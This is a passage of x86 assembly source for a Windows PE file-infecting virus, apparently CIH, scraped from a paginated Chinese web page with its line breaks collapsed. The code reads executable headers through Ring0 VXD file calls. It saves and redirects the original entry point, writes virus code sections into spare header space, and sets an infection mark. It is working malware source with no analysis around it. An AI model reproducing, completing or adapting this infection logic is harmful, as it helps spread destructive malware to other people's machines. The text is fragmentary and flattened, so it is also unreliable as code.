; * | EBX | * ; * ------------------------- * ; * | EDX | * ; * ------------------------- * ; * | ECX | * ; * ------------------------- * ; * | EAX | * ; * ------------------------- * 逆风编程精品 ; * | Return Address | * ; * ------------------------- * ; *************************************
push ebx ; Save File Handle push 00h ; Set VirusCodeSectionTableEndMark
; *************************** ; * Let's Set the * ; * Virus' Infected Mark * ; ***************************
push 01h ; Size push edx ; Pointer of File push edi ; Address of Buffer
; *************************** ; * Save ESP Register * ; ***************************
mov dr1, esp
; *************************** ; * Let's Set the * ; * NewAddressOfEntryPoint * ; * ( Only First Set Size ) * ; ***************************
push eax ; Size
; *************************** ; * Let's Read * ; * Image Header in File * ; ***************************
mov eax, ebp mov cl, SizeOfImageHeaderToRead add edx, 07h ; Move EDX to NumberOfSections call edi ; VXDCall IFSMgr_Ring0_FileIO
; *************************** ; * Let's Set the * ; * NewAddressOfEntryPoint * ; * ( Set Pointer of File, * ; * Address of Buffer ) * ; ***************************
lea eax, (AddressOfEntryPoint-@8)[edx] push eax ; Pointer of File lea eax, (NewAddressOfEntryPoint-@8)[esi] push eax ; Address of Buffer
; *************************** ; * Move EDX to the Start * ; * of SectionTable in File * ; ***************************
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] lea edx, [eax edx 12h]
; *************************** ; * Let's Get * ; * Total Size of Sections * ; ***************************
mov al, SizeOfScetionTable ; I Assume NumberOfSections <= 0ffh mov cl, (NumberOfSections-@8)[esi] mul cl
; *************************** ; * Let's Set Section Table * ; ***************************
; Move ESI to the Start of SectionTable lea esi, (StartOfSectionTable-@8)[esi] push eax ; Size push edx ; Pointer of File push esi ; Address of Buffer
; *************************** ; * The Code Size of Merge * ; * Virus Code Section and * ; * Total Size of Virus * ; * Code Section Table Must * ; * be Small or Equal the * ; * Unused Space Size of * ; * Following Section Table * ; ***************************
inc ecx push ecx ; Save NumberOfSections 1 shl ecx, 03h push ecx ; Save TotalSizeOfVirusCodeSectionTable
add ecx, eax add ecx, edx sub ecx, (SizeOfHeaders-@9)[esi] not ecx inc ecx ; Save My Virus First Section Code ; Size of Following Section Table... ; ( Not Include the Size of Virus Code Section Table ) push ecx xchg ecx, eax ; ECX = Size of Section Table ; Save Original Address of Entry Point mov eax, (AddressOfEntryPoint-@9)[esi] add eax, (ImageBase-@9)[esi] mov (OriginalAddressOfEntryPoint-@9)[esi], eax cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection jl OnlySetInfectedMark
; *************************** ; * Read All Section Tables * ; ***************************
mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO
; *************************** ; * Full Modify the Bug : * ; * WinZip Self-Extractor * ; * Occurs Error... * ; *************************** ; * So When User Opens * ; * WinZip Self-Extractor, * ; * Virus Doesn't Infect it.* ; *************************** 本文章更多内容:<<上一页 - 1 - 2 - 3 - 4 - 5 - 6 - 7 - 8 - 9 - 10 - 11 - 12 - 下一页>> |